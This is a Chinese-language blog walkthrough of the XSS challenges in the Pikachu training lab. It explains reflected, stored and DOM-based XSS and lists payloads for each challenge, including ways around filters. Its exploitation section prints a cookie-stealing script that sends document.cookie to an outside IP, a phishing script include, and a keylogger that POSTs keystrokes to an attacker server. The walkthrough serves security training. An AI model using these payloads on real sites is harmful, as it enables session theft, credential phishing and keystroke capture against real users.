XSS漏洞-pikachu靶场

    科技2026-04-20  7

    文章目录

    XSS概括XSS分类pikachu题解反射型XSS(get)反射型XSS(post)储存型XSSDOM型xssDOM型xss-xxss盲打xss过滤xss之htmlspecialcharsxss之href输出xss之js输出 XSS漏洞利用cookie的盗取和利用GETPOST 钓鱼攻击XSS获取键盘记录

    XSS概括

    跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者向web页面插入恶意script代码,当用户浏览网页时,嵌入其中的恶意代码会被执行从而达到攻击的目的。

    XSS分类

    反射型XSS:反射型XSS也叫非持久性XSS,用户访问一个带有XSS的html请求,服务器接收数据后处理,然后把带有XSS的数据返回,浏览器解析后执行XSS内容,这个过程就像一次反射。持久型XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。

    pikachu题解

    反射型XSS(get)

    GET方式提交的XSS漏洞更加容易被利用,一般利用方式时直接将带有XSS的URL发送给目标。

    F12 修改输入长度限制后

    <script>alert(1)</script>

    反射型XSS(post)

    抓包发现消息被url转义发送 构造闭合:

    </p><script>alert(1)</script>

    储存型XSS

    留言板里输入

    <script>alert(1)</script>

    DOM型xss

    通过dom获得输入后写入id=dom中。

    ' onclick=alert(1)>

    构成 <a href='' onclick=alert(1) >

    DOM型xss-x

    构造a标签闭合

    'onclick=alert(1)>

    其他payload

    '><img src='#' onmouseover=alert(1)>

    xss盲打

    <script>alert(1)</script>

    payload不会在当前页面执行,管理员查看时会执行。

    xss过滤

    script关键字会被过滤 <script>alert(1)</script>

    尝试双写绕过 <scri<script>pt>alert(1)</scri</script>pt>

    同样被过滤

    尝试大小写绕过 <ScRIPt>alert(1)</SCRipt>

    注入成功

    script被过滤可以考虑其他类型的payload <img src='#' onmouseover="alert(1)">

    xss之htmlspecialchars

    htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。 预定义的字符是:

    字符转义”&quot&&amp>&lt<&gt

    <>!:;scriptAAA 查看源码 发现<>被html转义

    javascript:alert(1)

    成功

    xss之href输出

    输入 ><script>alert(1)</script> <>被转义尝试javascript伪协议

    javascript:alert(1)

    成功

    xss之js输出

    查看源码发现输入在js代码块中 构造js闭合

    '</script> <script>alert(1)</script>

    XSS漏洞利用

    cookie的盗取和利用

    GET

    js恶意脚本

    <script>document.location = 'http://113.54.243.174/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookiee;</script>

    用户发送给服务器时就会记录下cookie并发送至XSS后台

    XSS后台

    若是get请求方式,用户只要点击带有脚本参数的url就会自动发送cookie。

    http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%20%3D%20’http%3A%2F%2F113.54.243.174%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D’%20%2B%20document.cookiee%3B%3C%2Fscript%3E&submit=submit

    POST

    参数在请求体中发送,无法把恶意代码嵌入到url中发送给用户。 攻击思路: 攻击者构建一个新的页面,页面功能为向存在XSS(post)漏洞的网页提交一个post请求,用户打开伪造的页面后恶意脚本获得用户cookie并向后台发送。 伪造界面代码: 用户访问后

    钓鱼攻击

    向有XSS漏洞的网页注入恶意代码,用户每次访问页面时就会弹出一个认证框,输入的内容储存在攻击者的服务器上。 恶意代码:

    <script src="http://192.168.80.1/pikachu-master/pkxss/xfish/fish.php"></script>

    XSS获取键盘记录

    同源策略:为了安全考虑,所有浏览器都规定了同源策略,两个不同域名之间不能用js相互操作。x.com域名下的javascript不能操作y.com下的对象。如果想要跨域操作必须由管理员配置。( header(“Acess-Control-Allow-Origin:x.com”) ) 以下标签加载特定类型资源不受同源策略影响

    <script src = "..."> <img src = "..."> <link href= "..."> <iframe src= "..."> <script src="http://192.168.1.15/pikachu-master/pkxss/rkeypress/rk.js"></script>

    可以将192.168.1.15加载到本地运行 一般情况下插入这段代码后由于同源策略会请求失败,但攻击者可以将自己搭建的攻击地址设置为允许所有人跨域请求

    恶意js代码记录用户键盘输入

    function onkeypress() { var realkey = String.fromCharCode(event.keyCode); xl+=realkey; show(); } document.onkeypress = onkeypress; function show() { ajax = createAjax(); ajax.onreadystatechange = function () { if (ajax.readyState == 4) { if (ajax.status == 200) { var data = ajax.responseText; } else { alert("页面请求失败"); } } } var postdate = xl; ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true); ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", postdate.length); ajax.setRequestHeader("Connection", "close"); ajax.send(postdate); }
    Processed: 0.010, SQL: 9